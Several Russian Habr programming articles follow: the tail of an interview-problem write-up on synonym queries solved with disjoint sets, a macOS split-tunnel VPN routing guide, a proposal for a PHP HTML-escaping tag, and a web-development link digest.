Всякий раз, когда кандидат предлагал такое решение, я интересовался временем выполнения программы и спрашивал, есть ли вариант лучше. Для информации: если интервьюер спрашивает вас, есть ли вариант лучше, почти всегда ответ «да». Если я когда-нибудь задам вам этот вопрос, ответ точно будет таким.
#### Наконец, решение
В конце концов кандидат предлагает что-то правильное и достаточно оптимальное. Вот реализация в линейном времени и линейном пространстве для заданных условий:
```
def synonym_queries(synonym_words, queries):
'''
synonym_words: iterable of pairs of strings representing synonymous words
queries: iterable of pairs of strings representing queries to be tested for
synonymous-ness
'''
synonyms = defaultdict(set)
for w1, w2 in synonym_words:
synonyms[w1].add(w2)
output = []
for q1, q2 in queries:
q1, q2 = q1.split(), q2.split()
if len(q1) != len(q2):
output.append(False)
continue
result = True
for i in range(len(q1)):
w1, w2 = q1[i], q2[i]
if w1 == w2:
continue
elif ((w1 in synonyms and w2 in synonyms[w1])
or (w2 in synonyms and w1 in synonyms[w2])):
continue
result = False
break
output.append(result)
return output
```
Несколько быстрых замечний:
* Обратите внимание на использование `dict.get()`. Вы можете реализовать проверку, находится ли ключ в dict, а затем получить его, но это усложнённый подход, хотя таким образом вы покажете свои знания стандартной библиотеки.
* Я лично не поклонник кода с частыми `continue`, и [некоторые руководства по стилю запрещают или не рекомендуют их](https://stackoverflow.com/questions/10975722/why-continue-is-considered-as-a-c-violation-in-misra-c2004). Я сам в первой редакции этого кода забыл оператор `continue` после проверки длины запроса. Это не плохой подход, просто знайте, что он подвержен ошибкам.
Часть 2: Становится сложнее!
============================
У хороших кандидатов после решения задачи остаётся ещё десять-пятнадцать минут времени. К счастью, есть куча дополнительных вопросов, хотя вряд ли мы напишем много кода за это время. Впрочем, в этом нет необходимости. Я хочу знать о кандидате две вещи: способен ли он разрабатывать алгоритмы и умеет ли кодировать? Задача с ходом конём сначала отвечает на вопрос о разработке алгоритма, а затем проверяет кодирование, а здесь мы получаем ответы в обратном порядке.
К тому времени, когда кандидат завершил первую часть вопроса, он уже решил проблему с (удивительно нетривиальным) кодированием. На этом этапе я могу с уверенностью говорить о его способности разрабатывать рудиментарные алгоритмы и переводить идеи в код, а также о знакомстве со своим любимым языком и стандартной библиотекой. Теперь разговор становится намного интереснее, потому что требования к программированию можно смягчить, а мы погрузимся в алгоритмы.
С этой целью вернёмся к основным постулатам первой части: важен порядок слов, синонимы нетранзитивны и для каждого слова может быть несколько синонимов. По мере продвижения интервью я изменяю каждое из этих ограничений, и в этой новой фазе у нас с кандидатом происходит чисто алгоритмическое обсуждение. Здесь я приведу примеры кода, чтобы проиллюстрировать свою точку зрения, но в реальном интервью мы говорим только об алгоритмах.
Прежде чем начать, объясню свою позицию: все последующие действия на этом этапе интервью — в основном, «бонусные баллы». Мой личный подход заключается в выявлении кандидатов, которые точно проходят первый этап и подходят для работы. Второй этап нужен для выделения самых лучших. Первый рейтинг уже очень сильный и означает, что кандидат достаточно хорош для компании, а второй рейтинг говорит, что кандидат превосходен и его найм станет для нас большой победой.
Транзитивность: наивные подходы
===============================
Сначала я люблю снять ограничение на транзитивность, так что если синонимами являются пары A−B и В−С, то слова A и C тоже являются синонимами. Сообразительные кандидаты быстро поймут, как адаптировать своё предыдущее решение, хотя при дальнейшем снятии других ограничений основная логика алгоритма перестанет работать.
Тем не менее, как его адаптировать? Один из распространённых подходов — поддерживать полный набор синонимов для каждого слова на основе транзитивных отношений. Каждый раз, когда мы вставляем слово в набор синонимов, мы также добавляем его в соответствующие наборы для всех слов, находящихся в этом наборе:
```
synonyms = defaultdict(set)
for w1, w2 in synonym_words:
for w in synonyms[w1]:
synonyms[w].add(w2)
synonyms[w1].add(w2)
for w in synonyms[w2]:
synonyms[w].add(w1)
synonyms[w2].add(w1)
```
*Обратите внимание, что создавая код, мы уже углубились в это решение*
Это решение работает, но далеко не оптимально. Чтобы понять причины, оценим пространственную сложность этого решения. Каждый синоним нужно добавить не только к набору начального слова, но и к наборам всех его синонимов. Если синоним один, то добавляется одна запись. Но если у нас 50 синонимов, придётся добавить 50 записей. На рисунке это выглядит следующим образом:
Обратите внимание, что мы перешли от трёх ключей и шести записей к четырём ключам и двенадцати записям. Слово с 50 синонимами потребует 50 ключей и почти 2500 записей. Необходимое пространство для представления одного слова квадратично растёт с увеличением набора синонимов, что довольно расточительно.
Есть и другие решения, но не буду слишком углубляться, чтобы не раздувать статью. Наиболее интересное из них — использование структуры данных синонимов для построения ориентированного графа, а затем поиск в ширину для нахождения пути между двумя словами. Это прекрасное решение, но поиск становится линейным по размеру набора синонимов для слова. Поскольку мы выполняем этот поиск для каждого запроса несколько раз, такой подход не оптимален.
Транзитивность: использование непересекающихся множеств
=======================================================
Оказывается, поиск синонимов возможен за (почти) постоянное время благодаря структуре данных под названием непересекающиеся множества (disjoint set). Эта структура предлагает несколько иные возможности, чем обычный набор данных (set).
Обычная структура набора (hashset, treeset) представляет собой контейнер, который позволяет быстро определить, находится объект внутри или вне его. Непересекающиеся множества решают совсем иную проблему: вместо определения конкретного элемента они позволяют определить, *принадлежат ли два элемента одному набору*. Более того, структура делает это за с ослепительно быстрое время `O(a(n))`, где `a(n)` — обратная функция Аккермана. Если вы не изучали продвинутые алгоритмы, то можете не знать эту функцию, которая для всех разумных входов фактически выполняется за постоянное время.
На высоком уровне алгоритм работает следующим образом. Наборы представлены деревьями с родителями у каждого элемента. Поскольку у каждого дерева есть корень (элемент, который сам себе родитель), мы можем определить, принадлежат ли два элемента одному набору, проследив их родителей до корня. Если у двух элементов один корень, они принадлежат одному набору. Объединение множеств тоже легко: просто находим корневые элементы и делаем один из них корнем другого.
Пока всё хорошо, но пока не видно ослепительной скорости. Гениальность этой структуры — в процедуре под названием *сжатие*. Предположим, у вас есть следующее дерево:
Представьте, что вы хотите узнать, являются ли синонимами слова *speedy* и *hasty*. Идёте по родителям каждого — и находите одинаковый корень *fast*. Теперь предположим, что мы выполняем аналогичную проверку для слов *speedy* и *swift*. Опять идём вверх до корня, причём от *speedy* мы идём тем же маршрутом. Можно ли избежать дублирования работы?
Оказывается, можно. В некотором смысле, каждому элементу в этом дереве суждено прийти к *fast*. Вместо того, чтобы каждый раз проходить по всему дереву, почему бы не изменить родителя для всех потомков *fast*, чтобы сократить маршрут к корню? Этот процесс называется сжатием, и в непересекающихся множествах он встроен в операцию поиска корня. Например, после первой операции по сравнению *speedy* и *hasty* структура поймёт, что они синонимы, и сожмёт дерево следующим образом:
*Для всех слов между speedy и fast обновился родитель, то же самое произошло с hasty*
Теперь все последующие обращения будут происходить в постоянном времени, потому что каждый узел в этом дереве указывает на *fast*. Здесь не очень просто оценить временную сложность операций: на самом деле, она не постоянна, потому что зависит от глубины деревьев, но близка к постоянной, потому что структура быстро оптимизируется. Для простоты будем считать, что время постоянное.
С этой концепцией реализуем несвязанные множества для нашей проблемы:
```
class DisjointSet(object):
def __init__(self):
self.parents = {}
def get_root(self, w):
words_traversed = []
while self.parents[w] != w:
words_traversed.append(w)
w = self.parents[w]
for word in words_traversed:
self.parents[word] = w
return w
def add_synonyms(self, w1, w2):
if w1 not in self.parents:
self.parents[w1] = w1
if w2 not in self.parents:
self.parents[w2] = w2
w1_root = self.get_root(w1)
w2_root = self.get_root(w2)
if w1_root < w2_root:
w1_root, w2_root = w2_root, w1_root
self.parents[w2_root] = w1_root
def are_synonymous(self, w1, w2):
return self.get_root(w1) == self.get_root(w2)
```
Используя эту структуру, можно предварительно обработать синонимы и решить задачу за линейное время.
Оценка и примечания
===================
К этому моменту мы достигли предела того, что кандидат может показать за 40−45 минут собеседования. Всем кандидатам, которые справились с вводной частью и добились значительного прогресса в описании (не реализации) несвязанных множеств, я присваивал рейтинг «Настоятельно рекомендуется принять на работу» и позволял им задавать любые вопросы. Никогда не видел, чтобы кандидат зашёл так далеко и у него осталось много времени.
В принципе, ещё есть варианты задачи с транзитивностью: например, убрать ограничение на порядок слов или на несколько синонимов для слова. Каждое решение будет сложным и восхитительным, но оставлю их на потом.
Достоинство этой задачи в том, что она позволяет кандидатам ошибаться. Ежедневная разработка ПО состоит из бесконечных циклов анализа, выполнения и уточнения. Эта проблема даёт возможность кандидатам продемонстрировать свои способности на каждом этапе. Рассмотрим навыки, необходимые для получения максимальной оценки по этому вопросу:
* *Проанализируйте постановку задачи* и *определите, где она недостаточно чётко сформулирована*, разработайте однозначную формулировку. Продолжайте делать это по мере решения и возникновения новых вопросов. Для максимальной эффективности производите эти операции как можно раньше, потому чем дальше зашла работа, тем больше времени займёт исправление ошибки.
* *Сформулируйте проблему* таким образом, чтобы к ней было легче подойти и решить. В нашем случае самым важным является наблюдение, что соответствующие слова в запросах выстраиваются друг относительно друга.
* *Реализуйте свое решение*. Это включает в себя выбор оптимальной структуры данных и алгоритмов, а также проектирование логики, читаемой и легко изменяемой в будущем.
* Вернитесь назад, *попытайтесь найти баги и ошибки*. Это могут быть фактические ошибки, как я забыл вставить оператор `continue` выше, или ошибки производительности, как использование неправильной структуры данных.
* Когда определение проблемы изменится, *повторите весь процесс: адаптируйте своё решение, где это необходимо*, или откажитесь от него, если оно не подходит. Понимание, когда нужно сделать одно или другое, является критически важным навыком и в собеседовании, и в реальном мире.
* *Осваивайте структуры данных и алгоритмы*. Непересекающиеся множества — не очень известная структура, но на самом деле не такая уж редкая и утончённая. Единственный способ гарантировать знание инструментария для работы — как можно больше учиться.
Ни один из этих навыков нельзя освоить по учебникам (за исключением, возможно, структур данных и алгоритмов). Единственный способ приобрести эти их — регулярная и обширная практика, которая хорошо согласуется с тем, что нужно работодателю: опытные кандидаты, способные эффективно применять свои знания. Смысл собеседований — найти таких людей, и задача из этой статьи долгое время хорошо мне помогала.
Планы на будущее
================
Как вы могли понять, задача в конце концов [стала известна общественности](https://www.careercup.com/question?id=5713824039567360). С тех пор я использовал несколько других вопросов, в зависимости от того, что спрашивали прошлые интервьюеры и от моего настроения (задавать всё время один вопрос скучно). Некоторые вопросы использую до сих пор, так что их буду держать в секрете, но некоторые нет! Можете узнать их в следующих статьях.
На ближайшее время я планирую две статьи. Во-первых, как и обещал выше, объясню решение двух оставшихся проблем для этой задачи. Я их никогда не задавал на собеседованиях, но они интересны сами по себе. Кроме того, поделюсь своими размышлениями и личным мнением о процедуре поиска сотрудников в IT, что мне особенно интересно сейчас, потому что я ищу инженеров для своей команды в Reddit.
Как всегда, если хотите узнать о выходе новых статей, следите за мной [в твиттере](https://twitter.com/alex_golec) или на [Medium](https://medium.com/@alexgolec). Если вам понравилась эта статья, не забудьте прогголосовать за неё или оставить комментарий.
Благодарю за чтение!
P. S.: Можете изучить код всех статей в [репозитории GitHub](https://github.com/alexgolec/interview-problems) или [поиграться с ним вживую](https://repl.it/@alexgolec/SynonymQueries) благодаря моим добрым друзьям из [repl.it](http://repl.it/). | https://habr.com/ru/post/437702/ | null | ru | null |
# Как разделить VPN трафик в MacOS
**VPN**VPN (англ. Virtual Private Network — виртуальная частная сеть — обобщённое название технологий, позволяющих обеспечить одно или несколько сетевых соединений (логическую сеть) поверх другой сети (например, Интернет) WikiPedia
Предположим, вы разработчик и часть ресурсов (например база данных) находятся в корпоративной сети, доступ в которую осуществляется через VPN.
Если вы посмотрите на все доступные инструкции как настраивать VPN на Mac OS, то увидите что авторы говорят вам ставить галку «отправлять весь трафик через VPN», что приводит к тому, что (Капитан Очевидность) весь трафик идет через VPN, что в свою очередь накладывает все ограничения корпоративной сети (запрет на посещение отдельных ресурсов, закрытые порты и т.д.) или ограничения сервиса анонимизации (узкий канал, долгий ping и т.д.).
Возникает вопрос — нельзя ли через VPN пускать только определенный трафик, а весь остальной (основной) трафик пусть идет по обычному каналу без ограничений.
Делается это довольно просто.
Кратко пройдемся по настройке VPN соединения.
Нажимаем на «яблочко» в левом верхнем углу экрана и выбираем «Системные настройки».
Выбираем «Сеть»
Нажимаем на «плюсик» в списке сетевых соединений.
Выбираем «VPN»
Тип VPN (в моем случае это L2TP через IPSec)
Заполняем параметры соединения
Галку «Отправлять весь трафик через VPN» **не ставим**
Теперь нам надо узнать интерфейс через который идет VPN-трафик.
Запускаем ifconfig без подключенного VPN
Подключаем VPN и снова запускаем ifconfig
Видим что появился интерфейс ppp0
Теперь по умолчанию весь трафик идет по обычному соединению (не VPN).
Далее, мне нужно чтобы коннекты к моему серверу, расположенному по адресу 192.168.0.20 шли через VPN. Для этого нам нужно построить сетевой маршрут. Воспользуемся штатной unix-командой route.
```
sudo /sbin/route add -host 192.168.0.20 -interface ppp0
```
Теперь весь трафик идет через мое обычное соединение, а трафик к корпоративному серверу идет через VPN.
Для удобства в файле ~/.profile создаем алиасы на команду добавления маршрутов
```
alias server-vpn-up='sudo /sbin/route add -host 192.168.0.20 -interface ppp0'
```
Теперь чтобы поднять соединение, необходимо подключиться к VPN и выполнить команду server-vpn-up.
Альтернативный вариант, это создать файл /etc/ppp/ip-up, прописать в него [в моем случае]
```
#!/bin/sh
/sbin/route add 192.168.0.0/24 -interface $1
```
и дать права на выполнение
```
sudo chmod +x /etc/ppp/ip-up
```
После этого маршрут будет прописываться автоматически после соединения с VPN.
Какие могут встретиться подводные камни.
1. Может быть конфликт IP-адресов, если внутренняя и внешняя сеть используют одно адресное пространство (возможно я использую не правильный термин, поправьте в комментариях пожалуйста). Т.е. у вас и VPN и внутренняя домашняя сеть находятся в 192.168.0… В моем случае решением было перенастройка домашней сети на 10.0.1…
2. При подключении VPN автоматически ставился корпоративный DNS 192.168.0.7. И хотя весь трафик должен был идти вроде как не через VPN, все сайты переставали открываться. Решилось это добавлением Google-ового DNS 8.8.8.8 и поднятии его в самый верх.
 | https://habr.com/ru/post/272461/ | null | ru | null |
# Опрос. Новый тег <?~ $value ?> для HTML-экранирования данных в PHP
Некоторое время назад была статья про [нововведения в PHP7](https://habrahabr.ru/post/302942/). Я написал в комментариях, что раз уж добавлены разные новые операторы для упрощения кода в стандартных конструкциях, то неплохо было бы добавить еще и оператор для вывода HTML-экранированных данных. Получил в ответ несколько комментов про шаблонизаторы и задумался. Я знаю про шаблонизаторы, но есть много проектов, в которых они не используются, которые написаны на самописных движках, на CMS, либо на фреймворках, в которых нет шаблонизатора по умолчанию. Эти проекты продолжают развиваться и требуют писать код.
В этой статье я хочу изложить некоторые аргументы за то, что такой оператор будет полезен. И, возможно, получить обоснованные аргументы против.
Я предлагаю оператор `~ $value ?` как короткую запись для `= htmlspecialchars($value, ENT_QUOTES) ?`. Это позволит уменьшить копи-пасту вызовов и улучшить безопасность приложений без движков шаблонизации, так как в таких приложениях это частая операция. Обычно можно перевести приложение на новую версию языка программирования, но практически невозможно переписать все имеющиеся PHP-шаблоны на специальный шаблонизатор. Вариант сделать функцию `= h($value) ?` это не выход, так как копи-паста все равно остается, и можно когда-нибудь забыть ее вызвать.
Поискав на [bugs.php.net](http://bugs.php.net), я нашел один активный feature request с 2012 года. Там в комментариях была предложена форма записи `~ ?`, которая показалась мне удобной. Написав там примерно то же самое, что и в статье про PHP7, получил ответ, что это потребует [процесса RFC](https://wiki.php.net/rfc/howto).
Я пообщался с разработчиками в рассылке PHP Internals list и получил ответ, что это уже обсуждалось много раз.
Ссылки:
[marc.info/?t=145851323800001](https://marc.info/?t=145851323800001)
[marc.info/?t=135082660600002](https://marc.info/?t=135082660600002)
[marc.info/?t=144225546000001](https://marc.info/?t=144225546000001)
[marc.info/?t=101129596100006](https://marc.info/?t=101129596100006)
[wiki.php.net/rfc/escaper](https://wiki.php.net/rfc/escaper)
[wiki.php.net/rfc/taint](https://wiki.php.net/rfc/taint)
[bugs.php.net/bug.php?id=62574](https://bugs.php.net/bug.php?id=62574)
[bugs.php.net/bug.php?id=20310](https://bugs.php.net/bug.php?id=20310)
[bugs.php.net/bug.php?id=16007](https://bugs.php.net/bug.php?id=16007)
[bugs.php.net/bug.php?id=3284](https://bugs.php.net/bug.php?id=3284)
Основной аргумент в том, что экранирование контекстно-зависимо. У нас есть разные контексты — HTML/URL/JS/CSS — и делать какой-то оператор только для одного контекста неправильно, а для всех сразу сложно.
На самом деле это немного не так. Это не взаимоисключающие контексты, HTML может присутствовать или нет независимо от остальных. Кроме того, для JS и CSS контекста нельзя применить понятие «экранирование» (escaping), потому что это другие языки со своим синтаксисом. Правильная запись для них не сводится к добавлению слэшей и замене спец-символов.
Рассмотрим пример.
```
[= $thing['name'] ?](/things/<?= $thing['name'] ?>)
```
На первый взгляд может показаться, что тут везде нужно разное экранирование. Но это не так. Вызов htmlspecialchars() нужен во всех трех случаях.
```
php $thing = ['name' = 'Say "Hello")']; ?>
[= htmlspecialchars($thing['name']) ?](/things/<?= htmlspecialchars(urlencode($thing['name'])) ?>)
```
Несмотря на то, что urlencode() возвращает безопасную для HTML строку, и можно не использовать htmlspecialchars(), сочетание htmlspecialchars() + urlencode() встречается в обработке различных фильтров.
Пример:
```
php
$postData = ['contains_text' = 'Say "Hello")'];
$filterUrl = '/my_route/?state=active';
if ($postData['contains_text']) $filterUrl .= '&' . 'contains_text=' . urlencode($postData['contains_text']);
$pageNumber = 1;
?>
[= $pageNumber ?](<?= htmlspecialchars($filterUrl) ?>)
```
При обработке веб-страниц htmlspecialchars() не нужен только внутри тегов `style` и `script`.
```
1 HTML Содержимое тега, любые атрибуты тега (включает следующие 3 варианта)
2 HTML + URL Атрибуты href, action, различные варианты типа data-url
3 HTML + JS Атрибуты on-event - onclick, onkeypress и т.д.
4 HTML + CSS Атрибут style
5 URL -
6 JS Тег
7 CSS Тег
8 non-HTML Экранирование может зависеть не только от формата, но и от задачи.
```
Пункт 5 — отдельно в HTML-документе не встречается, только в составе других контекстов.
Пункт 6 — встречается довольно часто, это единственный практический случай, когда нам не надо применять html-экранирование. Но такая связка PHP+JS считается не очень хорошим стилем, лучше использовать data-атрибуты, особенно в мультиязычных приложениях. А для них нужен htmlspecialchars().
Пункт 7 — очень редкий случай, обычно PHP там не используется.
Пункт 8 — для этого случая безопасное экранирование принципиально невозможно придумать заранее.
Таким образом, для наиболее часто встречающихся на практике случаев экранировать HTML не надо только в одном случае, в остальных четырех экранирование необходимо. Следовательно, специальный оператор будет полезен, и многочисленные дискуссии тому подтверждение.
Оператор `~ ?` не требует настроек в «php.ini» и не влияет на остальные теги и операторы. Его удобно набирать, все символы набираются с Shift, и меньше вероятность написать `= ?` вместо него, так как тильда находится с другой стороны клавиатуры. Если вы по каким-то причинам не используете `htmlspecialchars()`, то для вас ничего не поменяется. Он **не является** универсальным оператором для экранирования любых данных, это просто короткая запись для вызова `php echo htmlspecialchars($str, ENT_QUOTES) ?`, так же как `= ?` для `php echo $str; ?`
**UPD**:
[Описание реализации](#comment_9724674)
Ссылки:
RFC: <https://wiki.php.net/rfc/escaping_operator>
Коммит с изменениями: [github](https://github.com/michael-vostrikov/php-src/commit/ca149a3dfea71f529eb1647f2d0ed2b8d63e279d#diff-3a8139128d4026ce0cb0c86beba4e6b9R4122)
Первоначальное обсуждение: <http://marc.info/?t=146619199100001>
Обсуждение RFC: <http://marc.info/?t=146868366400003>
Внимание. Если вы пишете приложения, к примеру, только на Twig и Symfony, или последние N лет делаете только API, то большая просьба не голосовать, а то получится нерепрезентативная выборка. Для вас сделан третий опрос. В первых двух интересует мнение людей, которые реально с этим работают.
Аргументированные комментарии за и против приветствуются. | https://habr.com/ru/post/304162/ | null | ru | null |
# Несколько интересностей и полезностей для веб-разработчика #24
Доброго времени суток, уважаемые хабравчане. За последнее время я увидел несколько интересных и полезных инструментов/библиотек/событий, которыми хочу поделиться с Хабром.
#### [Webhook](http://www.webhook.com/)
[](http://www.webhook.com/)
Webhook — это платформа для создания сайтов. Важно не путать со статическими генераторами, потому что это именно «CMS builder». Проект успешно завершил [кампанию на Kickstarter](https://www.kickstarter.com/projects/1749618880/webhook) 14 мая этого года, где смог собрать сумму в два раза большую, чем было необходимо. А буквально недавно состоялся релиз первой версии продукта. Webhook построен с использованием NodeJS, Grunt и [Firebase](https://www.firebase.com/) для реалтайма, работает на Windows, Linux и Mac, внутри целая система виджетов со множеством вариаций на выходе, «Django-like templating» с помощью [Swig JS](http://habrahabr.ru/post/174207/), кроссплатформенная админ панель и еще целый ряд плюсов.
```
# Install Webhook through npm
npm install grunt-cli wh
# Create your first site
wh create my_awesome_site
# Load the local runserver
cd my_awesome_site
wh serve
# Make your website live
wh deploy
```
#### [TypeScript](https://github.com/Microsoft/TypeScript)
[](https://github.com/Microsoft/TypeScript)
TypeScript — это язык программирования, который предназначен расширить базовые возможности JavaScript. Хочу обратить ваше внимание на том, что проект от Microsoft и это целое событие, поскольку TypeScript еще и первый публичный репозиторий на официальном аккаунте корпорации на GitHub.
«Starts from JavaScript, Ends with JavaScript»:
```
class Point {
x: number;
y: number;
constructor(x: number, y: number) {
this.x = x;
this.y = y;
}
getDist() {
return Math.sqrt(this.x * this.x +
this.y * this.y);
}
}
var p = new Point(3,4);
var dist = p.getDst();
alert("Hypotenuse is: " + dist);
```
#### [Py Must Watch](https://github.com/s16h/py-must-watch)
«Живой список» лучших видео с лекций и конференций по Python. Продублирую содержимое репозитория на момент публикации подборки:
**2009**
* [David Beazley: **Inside the Python GIL**](https://www.youtube.com/watch?v=ph374fJqFPE)
**2010**
* [Brandon Rhodes: **The Mighty Dictionary**](https://www.youtube.com/watch?v=C4Kc8xzcA68)
* [David Beazley: **Understanding the Python GIL**](http://www.youtube.com/watch?v=Obt-vMVdM8s)
**2011**
* [Raymond Hettinger: **API Design: Lessons Learned**](http://pyvideo.org/video/366/pycon-2011--api-design--lessons-learned)
**2012**
* [Erik Rose: **Parsing Horrible Things with Python**](https://www.youtube.com/watch?v=tCUdeLIj4hE)
* [Jack Diederich: **Stop Writing Classes**](https://www.youtube.com/watch?v=o9pEzgHorH0)
* [Ned Batchelder: **Pragmatic Unicode, or, How do I stop the pain?**](https://www.youtube.com/watch?v=sgHbC6udIqc)
* [Peter Inglesby: **Discovering Descriptors**](https://www.youtube.com/watch?v=D3-NZXHO5QI)
* [Raymond Hettinger: **The Art of Subclassing**](https://www.youtube.com/watch?v=miGolgp9xq8)
**2013**
* [David Beazley: **Python 3 Metaprogramming**](https://www.youtube.com/watch?v=sPiWg5jSoZI)
* [Jessica McKellar: **The Future of Python — A Choose Your Own Adventure**](https://www.youtube.com/watch?v=d1a4Jbjc-vU)
* [Kenneth Reitz: **Python for Humans**](http://www.youtube.com/watch?v=QpkHt1hDYTo)
* [Ned Batchelder: **Loop like a native: while, for, iterators, generators**](https://www.youtube.com/watch?v=EnSu9hHGq5o)
* [Raymond Hettinger: **Python's Class Development Toolkit**](https://www.youtube.com/watch?v=HTLu2DFOdTg)
* [Raymond Hettinger: **Transforming Code into Beautiful, Idiomatic Python**](https://www.youtube.com/watch?v=OSGv2VnC0go)
**2014**
* [Alex Gaynor: **Fast Python, Slow Python**](https://www.youtube.com/watch?v=7eeEf_rAJds)
* [Benjamin Peterson: **Garbage Collection in Python**](https://www.youtube.com/watch?v=iHVs_HkjdmI)
* [Brandon Rhodes: **All Your Ducks In A Row: Data Structures in the Standard Library and Beyond**](https://www.youtube.com/watch?v=fYlnfvKVDoM)
* [Christine Spang: **Subprocess to FFI: Memory, Performance, and Why You Should'nt Shell — PyCon 2014**](https://www.youtube.com/watch?v=YAO7PUZvVPw)
* [David Beazley: **Generators: The Final Frontier**](https://www.youtube.com/watch?v=5-qadlG7tWo)
* [Guido van Rossum: **Tulip: Async I/O for Python 3**](https://www.youtube.com/watch?v=1coLC-MUCJc)
* [Mike Müller: **Faster Python Programs through Optimization**](https://www.youtube.com/watch?v=wNBJDpyRm8w)
#### [KeystoneJS — CMS на Node.js](https://github.com/JedWatson/keystone/)
[](https://github.com/JedWatson/keystone/)
#### [Virtual DOM](https://github.com/Matt-Esch/virtual-dom)
Когда речь идет о реально больших веб-приложениях, то разработчикам очень трудно или даже невозможно проследить за всеми изменениям DOM древа. В тоже время каждое обновление DOM, может очень сильно повлиять на работоспособность проекта, все будет происходить медленно и с задержками. Кстати об этом есть замечательная статья на Хабре «Рендеринг WEB-страницы: что об этом должен знать front-end разработчик» от пользователя [skutin](https://habrahabr.ru/users/skutin/). Virtual DOM — это коллекция модулей обеспечивающая декларативное представление DOM в вашем проекте. То есть появляется возможность записывать все изменения состояния в виртуальное древо, а только потом обновлять DOM. Вообще проект заслуживает отдельной статьи, сначала была описана идея [«React’s diff algorithm»](http://calendar.perfplanet.com/2013/diff/), затем появился концепт [«Virtual DOM and diffing algorithm»](https://gist.github.com/Raynos/8414846), а только потом [реализация](https://github.com/Matt-Esch/virtual-dom) и принципы работы.
#### [Custom Elements](http://customelements.io/) и [Component Kitchen](http://component.kitchen/)
Веб-компоненты хоть и медленно, но уверенно приходят в нашу с вами жизнь. Об этой спецификации часто пишут на западе, ее достаточно рьяно продвигают крупные компании. Ну и от себя скажу, что это новый шаг в развитии веб-стандартов, который открывает для разработчиков новые возможности и меняет представление о семантике. Именно поэтому хочу поделиться двумя пополняемыми коллекциями различных веб-компонентов: [Custom Elements](http://customelements.io/) и [Component Kitchen](http://component.kitchen/).
#### [Offline](https://github.com/hubspot/offline) и [Select](https://github.com/HubSpot/select)
В предыдущих подборках я уже делился проектами замечательной компании HubSpot. Но с удивлением для себя обнаружил, что еще не давал ссылок на [Offline](https://github.com/hubspot/offline) для самого легкого способа определения онлайн/оффлайн режима пользователя и вывода соответствующего сообщения на экран в разных темах, и [Select](https://github.com/HubSpot/select) для создания простого кастомного селекта без использования сторонних библиотек.
#### Западные мысли или что стоило бы перевести на Хабре:
* [Open sourcing our email signature parsing library by Mailgun Team](http://blog.mailgun.com/open-sourcing-our-email-signature-parsing-library/)
* [8 Ways For A Programmer To Stay Sane](http://davidwalsh.name/ways-programmers-stay-sane)
* [GitHub's CSS](http://markdotto.com/2014/07/23/githubs-css/)
* [Authoring Critical Above-the-Fold CSS](http://css-tricks.com/authoring-critical-fold-css/)
* [Guide to Responsive-Friendly CSS Columns](http://css-tricks.com/guide-responsive-friendly-css-columns/)
* [3.14 things I didn’t know about CSS | CSS Day](http://vimeo.com/100264064)
* [A Compendium of SVG Information](http://css-tricks.com/mega-list-svg-information/?utm_source=dlvr.it&utm_medium=twitter)
* [Responsive Images: Use Cases and Documented Code Snippets to Get You Started](http://dev.opera.com/articles/responsive-images/)
* [More Responsive Single-Page Applications With AngularJS & Socket.IO: Creating the Library](http://code.tutsplus.com/tutorials/more-responsive-single-page-applications-with-angularjs-socketio-creating-the-library--cms-21738)
* [7 More Mistakes Commonly Made by PHP Developers](http://www.sitepoint.com/7-mistakes-commonly-made-php-developers/)
* [Design Tips For Developers](http://www.duetapp.com/blog/design-tips-for-developers/)
* [The Interactive Imperative in Mobile Design](http://designmodo.com/interactive-mobile-design/)
* [You May Be Losing Users If Responsive Web Design Is Your Only Mobile Strategy](http://www.smashingmagazine.com/2014/07/22/responsive-web-design-should-not-be-your-only-mobile-strategy/)
* [Social Influence: Incorporating Social Identity Theory Into Design](http://www.smashingmagazine.com/2014/07/25/incorporating-social-identity-theory/)
* [90 Percent of Everything](http://www.90percentofeverything.com/)
* [E-Commerce Sites Should Include Contextual Search Snippets (96% Get it Wrong)](http://baymard.com/blog/search-snippets)
* [How to Craft the Perfect 404 Page](http://www.sitepoint.com/craft-perfect-404-page/)
* [The Mystery Is Resolved: Chirpy Birds, Lost Numbers and Pretty Slow Wheels](http://www.smashingmagazine.com/2014/07/21/mystery-resolved-lost-numbers/)
* [How to Land Your First Customers When You’re Unknown](http://casjam.com/your-first-customers/)
#### Говорит и показывает Хабр:
* [«Какой язык программирования больше всего любят в Яндексе? И всегда ли любовь взаимна»](http://habrahabr.ru/company/yandex/blog/230775/) от [Zalina](https://habrahabr.ru/users/zalina/)
* [«Построение надежных веб-приложений на React: Часть 1, браузерные прототипы»](http://habrahabr.ru/post/229655/)
[«Построение надежных веб-приложений на React: Часть 2, оптимизация с Browserify»](http://habrahabr.ru/post/229853/)
[«Построение надежных веб-приложений на React: Часть 3, тестирование с Jasmine»](http://habrahabr.ru/post/229987/)
[«Построение надежных веб-приложений на React: Часть 4, серверная генерация»](http://habrahabr.ru/post/230269/)
[«18 неожиданностей при чтении исходного кода jQuery»](http://habrahabr.ru/post/230449/) от [jojo97](https://habrahabr.ru/users/jojo97/)
* [«Собеседование на должность JavaScript разработчика»](http://habrahabr.ru/post/231071/) от [xamd](https://habrahabr.ru/users/xamd/)
* [«Строим маршруты с помощью OpenStreetMap, OSRM и Leaflet»](http://habrahabr.ru/post/230951/) от [HunterNNm](https://habrahabr.ru/users/hunternnm/)
* [«JQuery Deferred — примеры использования»](http://habrahabr.ru/company/bankrot-pro/blog/230441/) от [format1981](https://habrahabr.ru/users/format1981/)
* [«Просмотр DOM-событий в Firefox Developer Tools»](http://habrahabr.ru/post/230625/) от [kolyuchii](https://habrahabr.ru/users/kolyuchii/)
* [«Изучаем алгоритм работы регулярных выражений в Ruby»](http://habrahabr.ru/post/231017/) от [stdfox](https://habrahabr.ru/users/stdfox/)
#### Напоследок:
* **Новость для маководов - вышел Tower 2, вероятно лучший GUI клиент для git**[](http://www.git-tower.com/)
* [rome.js](https://github.com/bevacqua/rome) — наверное, первый нормальный дата-пикер независимый от сторонних библиотек.
**UPD:** как подсказал в комментариях [rinnaatt](https://habrahabr.ru/users/rinnaatt/) есть еще замечательный и независимый [Pikaday](https://github.com/dbushell/Pikaday)
* [Headstart](http://headstart.io/) — фронтэнд фреймворк и сборщик.
* [VIDE.js](http://vodkabears.github.io/vide/) — jQuery плагин для простоты создания видео-бэкграунда.
* [PrettyEmbed.js](https://github.com/mike-zarandona/PrettyEmbed.js) — заставляет YouTube вставки выглядеть лучше (ужасное описание, посмотрите на [демо страничку](https://github.com/mike-zarandona/PrettyEmbed.js) и сразу все поймете).
* [google-api-nodejs-client](https://github.com/google/google-api-nodejs-client)
